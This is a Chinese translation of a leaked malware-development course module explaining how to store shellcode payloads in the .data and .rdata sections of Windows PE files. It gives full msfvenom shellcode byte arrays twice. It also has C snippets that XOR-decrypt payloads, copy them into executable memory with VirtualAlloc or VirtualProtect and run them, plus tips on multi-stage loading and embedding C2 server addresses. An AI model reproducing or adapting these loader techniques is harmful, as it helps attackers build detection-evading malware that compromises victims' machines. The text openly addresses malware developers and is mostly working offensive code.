模块 13 - Payload 放置 - .data 和 .rdata 节
恶意软件开发课程 - Payload 放置 - .data 和 .rdata 节
模块 13 - Payload 放置 - .data 和 .rdata 节#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
简介#
作为恶意软件开发者,可以有多种选择来决定将 payload 存储在 PE 文件的何处。根据选择,payload 将驻留在 PE 文件内的不同节中。Payload 可以存储在以下 PE 节之一中:
.data.rdata.text.rsrc
本模块演示如何将 payload 存储在 .data 和 .rdata PE 节中。
💡 初学者提示:为什么要学习Payload放置?
Payload = 恶意代码/Shellcode
plaintext例如: - Msfvenom生成的shellcode - Cobalt Strike的beacon - 自定义的注入代码为什么需要选择不同的节?
需求 推荐节 原因 加密的Payload .data需要运行时解密(可写) 只读Payload .rdata不需要修改 直接执行 .text代码节,有执行权限 隐藏大文件 .rsrc看起来像资源文件 对比表:
PE节 权限 用途 适合的Payload类型 .textR-X 可执行代码 直接运行的shellcode .dataRW- 已初始化数据 加密的payload .rdataR— 只读数据 未加密的payload .rsrcR— 资源 大型payload、图片伪装 选择建议:
plaintext场景1:Payload需要XOR解密 → 放在 .data 节(可写,解密后修改) 场景2:Payload不需要修改 → 放在 .rdata 节(只读,节省空间) 场景3:Payload要直接执行 → 放在 .text 节(可执行) 场景4:Payload很大(>100KB) → 放在 .rsrc 节(伪装成资源)
.data 节#
PE 文件的 .data 节是程序可执行文件的一个部分,包含已初始化的全局和静态变量。此节是可读和可写的,这使其适合在运行时需要解密的加密 payload。如果 payload 是全局或局部变量,它将存储在 .data 节中,具体取决于编译器设置。
下面的代码片段显示了将 payload 存储在 .data 节中的示例。
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload
unsigned char Data_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
c下图显示了上述代码片段在 xdbg 中的输出。请注意图像中的几个项目:
- .data 节从地址
0x00007FF7B7603000开始。 Data_RawData的基地址是0x00007FF7B7603040,它是 .data 节的偏移量0x40。- 请注意,该区域的内存保护被指定为
RW,表示它是一个读写区域。

📚 知识扩展:.data 节详解
什么是 .data 节?
plaintext.data = 已初始化的全局/静态变量 例如: int globalVar = 42; // 存储在 .data static int staticVar = 100; // 存储在 .data const int constVar = 5; // 存储在 .rdata(不是.data) unsigned char payload[] = {...}; // 存储在 .data内存权限:RW-(读+写)
plaintextR = Read (可读) W = Write (可写) ← 关键!可以解密 - = No Execute (不可执行)为什么适合加密的Payload?
c// 加密的shellcode存储在 .data unsigned char encrypted_payload[] = { 0xAB, 0xCD, 0xEF, ... // XOR加密过的 }; // 运行时解密(需要写权限) void DecryptPayload() { for (int i = 0; i < sizeof(encrypted_payload); i++) { encrypted_payload[i] ^= 0x42; // XOR解密 // ✅ 可以写入!因为在 .data 节 } } // 解密后执行 void* exec_mem = VirtualAlloc(NULL, sizeof(encrypted_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec_mem, encrypted_payload, sizeof(encrypted_payload)); ((void(*)())exec_mem)(); // 执行在x64dbg中查看:
plaintext1. 打开程序 2. 查看内存映射 (Memory Map) 3. 找到 .data 节: 地址:0x00007FF7B7603000 大小:0x1000 (4KB) 权限:RW- 类型:IMG (镜像) 4. 转到地址 0x00007FF7B7603040 5. 看到 payload:FC 48 83 E4 F0 ...变量声明位置的影响:
c// 全局变量 → .data节 unsigned char global_payload[] = {...}; int main() { // 局部变量 → 栈上(不在.data) unsigned char local_payload[] = {...}; // 静态局部变量 → .data节 static unsigned char static_payload[] = {...}; return 0; }实用技巧:
c// 技巧1:数组大小可调 #define PAYLOAD_SIZE 276 unsigned char payload[PAYLOAD_SIZE] = { FC, 0x48, ... }; // 技巧2:多个payload unsigned char payload1[] = {...}; unsigned char payload2[] = {...}; unsigned char payload3[] = {...}; // 技巧3:组合使用(后续模块会学) unsigned char encrypted[] = {...}; // .data - 加密的 const unsigned char key[] = {...}; // .rdata - 密钥
.rdata 节#
使用 const 限定符指定的变量被写为常量。这些类型的变量被视为”只读”数据。.rdata 中的字母”r”表示这一点,任何尝试更改这些变量的操作都将导致访问冲突。此外,根据编译器及其设置,.data 和 .rdata 节可能会合并,甚至合并到 .text 节中。
下面的代码片段显示了将 payload 存储在 .rdata 节中的示例。代码本质上与前面的代码片段相同,只是变量现在以 const 限定符为前缀。
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
const unsigned char Rdata_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}c下图显示了在 PE 文件上运行 dumpbin.exe ↗ 的输出。安装 Visual Studio 的 C++ 运行时将自动下载 dumpbin.exe。
命令:dumpbin.exe /ALL <binary-file.exe>
向下滚动并查看 .rdata 节的详细信息,其中包含以原始二进制格式存储的数据。

继续向下滚动显示分配的 payload,在下图中突出显示。

💡 初学者提示:.rdata 节详解
const关键字的魔法:
c// 没有const → .data节(可写) unsigned char payload1[] = {...}; // 有const → .rdata节(只读) const unsigned char payload2[] = {...}; // 只改一个关键字,节就变了!内存权限:R—(只读)
plaintextR = Read (可读) - = No Write (不可写) ← 关键! - = No Execute (不可执行)为什么用.rdata节?
优点:
- 安全性更高:防止意外修改
- 节省内存:多个进程可以共享只读数据
- 性能优化:编译器可以优化只读数据
缺点:
- 不能加密:无法在运行时解密(不可写)
- 必须明文存储:payload容易被检测
尝试写入会发生什么?
cconst unsigned char payload[] = {0xFC, 0x48, ...}; // ❌ 尝试修改 payload[0] = 0x90; // 💥 访问冲突!程序崩溃 // 错误信息: // Exception thrown: write access violation // payload was 0x7FF7B7602000如何使用.rdata中的payload?
cconst unsigned char rdata_payload[] = {...}; // 方法1:复制到可执行内存 void* exec = VirtualAlloc(NULL, sizeof(rdata_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, rdata_payload, sizeof(rdata_payload)); ((void(*)())exec)(); // 执行 // 方法2:改变内存保护 DWORD oldProtect; VirtualProtect((LPVOID)rdata_payload, sizeof(rdata_payload), PAGE_EXECUTE_READ, &oldProtect); ((void(*)())rdata_payload)(); // 直接执行dumpbin 工具使用:
bash# 查看所有PE信息 dumpbin /ALL program.exe > output.txt # 只查看节信息 dumpbin /HEADERS program.exe # 只查看.rdata节 dumpbin /RAWDATA:.rdata program.exe # 输出示例: SECTION HEADER #3 .rdata name 1000 virtual size 3000 virtual address 1000 size of raw data R- flags (Read Only) RAW DATA #3 00003000: FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 00003010: 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 ...节合并现象:
plaintext根据编译器设置,可能会看到: 场景1:独立的节 .text (代码) .data (可写数据) .rdata (只读数据) 场景2:合并的节(Release优化) .text (代码 + 只读数据) .data (可写数据) 场景3:完全合并(极端优化) .text (所有内容)
🎯 本模块学习要点
核心概念:
- ✅ Payload可以存储在不同PE节中
- ✅ .data节可读可写,适合加密payload
- ✅ .rdata节只读,适合明文payload
- ✅ const关键字决定存储位置
- ✅ 内存权限影响payload的使用方式
.data vs .rdata 对比表:
特性 .data节 .rdata节 声明方式 unsigned char p[]const unsigned char p[]内存权限 RW- R— 可修改 ✅ 是 ❌ 否 适合加密 ✅ 是 ❌ 否 适合明文 ✅ 是 ✅ 是 内存共享 否 是(只读可共享) 实践建议:
选择.data节的情况:
c// 1. Payload需要解密 unsigned char encrypted[] = {...}; DecryptXOR(encrypted, sizeof(encrypted), key); // 2. Payload需要动态修改 unsigned char template[] = {...}; PatchPayload(template, target_addr); // 3. 多阶段加载 unsigned char stage1[] = {...}; // 解密stage1,获取stage2...选择.rdata节的情况:
c// 1. 小型明文shellcode const unsigned char calc_shellcode[] = {...}; // 2. 配置数据 const char c2_server[] = "192.168.1.100"; const int c2_port = 443; // 3. 不需要修改的资源 const unsigned char logo[] = {...};工具使用:
- PE-Bear:图形化查看PE节
- dumpbin:命令行查看PE信息
- x64dbg:动态查看内存布局
下一步: 学习.text节和.rsrc节的payload存储